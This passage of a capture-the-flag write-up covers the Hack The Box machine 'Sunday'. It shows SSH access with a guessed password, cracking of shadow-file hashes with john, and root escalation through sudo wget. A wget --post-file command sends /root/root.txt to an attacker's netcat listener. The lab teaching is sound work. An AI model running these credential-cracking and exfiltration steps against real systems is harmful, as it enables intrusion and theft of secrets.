sunny sunny    pts/3            <Apr 24 01:51>     10.10.14.7

we also found out that after few brute attempts, we can use sunny user to login with password sunday. Lets use this to SSH in to the victim box.

root@kali:~# ssh sunny@10.10.10.76 -p 22022

password : sunday

Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
sunny@sunday:~$ ls
Desktop Documents Downloads local.cshrc local.login local.profile Public

 

we are in! but after quick enumeration it was found out we cannot read “user.txt” as its owned by another user named sammy.

sunny@sunday:/export/home/sammy/Desktop$ cat user.txt
cat: user.txt: Permission denied

after looking around, we find an interesting backup file in the backup folder .

sunny@sunday:/$ cd backup
sunny@sunday:/backup$ ls
agent22.backup shadow.backup

its backup of shadow file! lets copy it back to our attacker box along with /etc/passwd file and crack it using john.

sunny@sunday:/backup$ cat shadow.backup
<<snipped>>

sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

<<snipped>>

on our attacker box , first lets convert it to a format so john can crack it.

root@kali#unshadow passwd shadow > pass.db

root@kali# john pass.db –wordlist=/root/Downloads/rockyou.txt

root@kali# john –show pass.db
sammy: cooldude! :101:10:sammy:/export/home/sammy:/bin/bash
sunny: sunday :65535:1:sunny:/export/home/sunny:/bin/bash

2 password hashes cracked, 0 left

cool! now we know password for sammy user as cooldude!

Lets SSH in using the creds and quickly grab the user.txt flag.

root@kali:~# ssh sammy@10.10.10.76 -p 22022
Password: cooldude!

sammy@sunday:~/Desktop$ cat user.txt

Now lets move on to privilege escalation to root user.

by enumerating the box, we found out sammy can run few commands as root. he can run wget  as root  . This is another classic priv esc technique in which we can read files owned by root.

sammy@sunday:~/Desktop$ sudo -l
User sammy may run the following commands on this host:
(root) NOPASSWD: /usr/bin/wget

wget has –post-file option which can be used to post file contents to a remote server

For this , we will read root flag using this vector.

lets setup a netcat listener on our attacker box :

root@kali:~/Desktop/hackthebox/sunday# nc -lvp 8000
listening on [any] 8000 …

and on victim box,

sudo wget –post-file=/root/root.txt 10.10.14.13:8000

we should be able to receive the content of root flag by now on our netcat listener .

root@kali:~/Desktop/hackthebox/sunday# nc -lvp 8000
listening on [any] 8000 …
10.10.10.76: inverse host lookup failed: Unknown host
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.76] 42964
POST / HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */*
Host: 10.10.14.13:8000
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

<<contents of root flag>>

I also tried replacing the /etc/passwd file with our added user on to the victim server using another wget priv esc vector. for some reason it failed.

nevertheless, we grabbed the  root flag 🙂 stay tuned for next writeup!